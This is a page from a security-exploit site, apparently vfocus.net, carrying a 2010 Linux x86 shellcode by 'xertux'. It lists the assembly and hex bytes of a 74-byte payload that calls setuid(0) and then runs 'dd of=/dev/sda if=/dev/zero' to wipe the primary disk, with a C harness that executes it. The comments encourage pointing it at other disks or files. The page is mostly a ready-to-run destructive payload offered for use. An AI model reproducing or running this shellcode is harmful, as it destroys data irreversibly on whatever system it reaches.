首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 setuid(0) and dd of=/dev/sda if=/dev/zero shellcode 74 bytes
来源:vfocus.net 作者:xertux 发布时间:2010-09-24  
 /*
  * Title : Linux x86 shellcode setuid(0) and dd of=/dev/sda if=/dev/zero, 74 bytes
  * Author : xertux
  * Platform: Linux X86 (7.04)
  * Description : setuid(0) + dd of=/dev/sda if=/dev/zero
  * Size : 74 bytes
  * Decription : Use the dd command, we can change of and if argument to create, modify and destroy datas. Here the sda disk is format.
  * */

/**
  *BITS 32
  *;Get root privileges
  *xor eax, eax
  *xor ebx, ebx
  *xor ecx, ecx
  *cdq
  *mov al, 0x17
  *int 0x80
  *;exceve(dd of=/dev/sda if=/dev/zero)
  *xor eax, eax      ; eax become 0
  *push eax          ; null string termination
  *push 0x64642f2f   ; push //dd
  *push 0x6e69622f   ; push /bin
  *mov ebx, esp      ; put the address of "/bin//dd" into ebx
  *push eax          ; push null string termination
  *push 0x6164732f   ; push /sda
  *push 0x2f766564   ; push dev/
  *push 0x2f3d666f   ; push of=/
  *mov ecx, esp      ; put the address of "of=/dev//sda" into ecx  ==> you can change to another disk or any files
  *push eax          ; null string termination
  *push 0x6f72657a   ; push zero
  *push 0x2f766564   ; push dev/
  *push 0x2f3d6669   ; push if=/
  *mov edx, esp      ; put the address of "if=/dev/zero" into edx ==> you can try with /dev/random, it's funny ^^
  *push eax          ; push null args termination
  *push edx          ; push "if=/dev/zero"
  *push ecx          ; push "of=/dev//sda"
  *push ebx          ; push /bin//dd
  *mov ecx, esp      ; argument array completed via esp
  *xor edx, edx
  *mov al, 0x0b      ; put the int execve call into al
  *int 0x80          ; system call
*/

#include "stdio.h"

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x64\x64\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2f\x73\x64\x61"
"\x68\x64\x65\x76\x2f\x68\x6f\x66\x3d\x2f\x89\xe1\x50\x68\x7a\x65"
"\x72\x6f\x68\x64\x65\x76\x2f\x68\x69\x66\x3d\x2f\x89\xe2\x50\x52"
"\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";;

int main()
{
           printf(" [*] Shellcode - length: %d\n",strlen(shellcode));
           (*(void(*)()) shellcode)();
           return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Adobe Acrobat Reader and Flash
·GreenBrowser DLL Hijacking Exp
·DVD PixPlay DLL Hijacking Expl
·SmartSniff DLL Hijacking Explo
·ydownloader DLL Hijacking Expl
·Sothink SWF Decompiler DLL Hij
·Kaspersky Internet Security DL
·SEasyOfficeRecovery DLL Hijack
·VideoCharge Studio DLL Hijacki
·mobile ringtone audio converte
·Microsoft MPEG Layer-3 Audio D
·MP3 Workstation Version 9.2.1.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved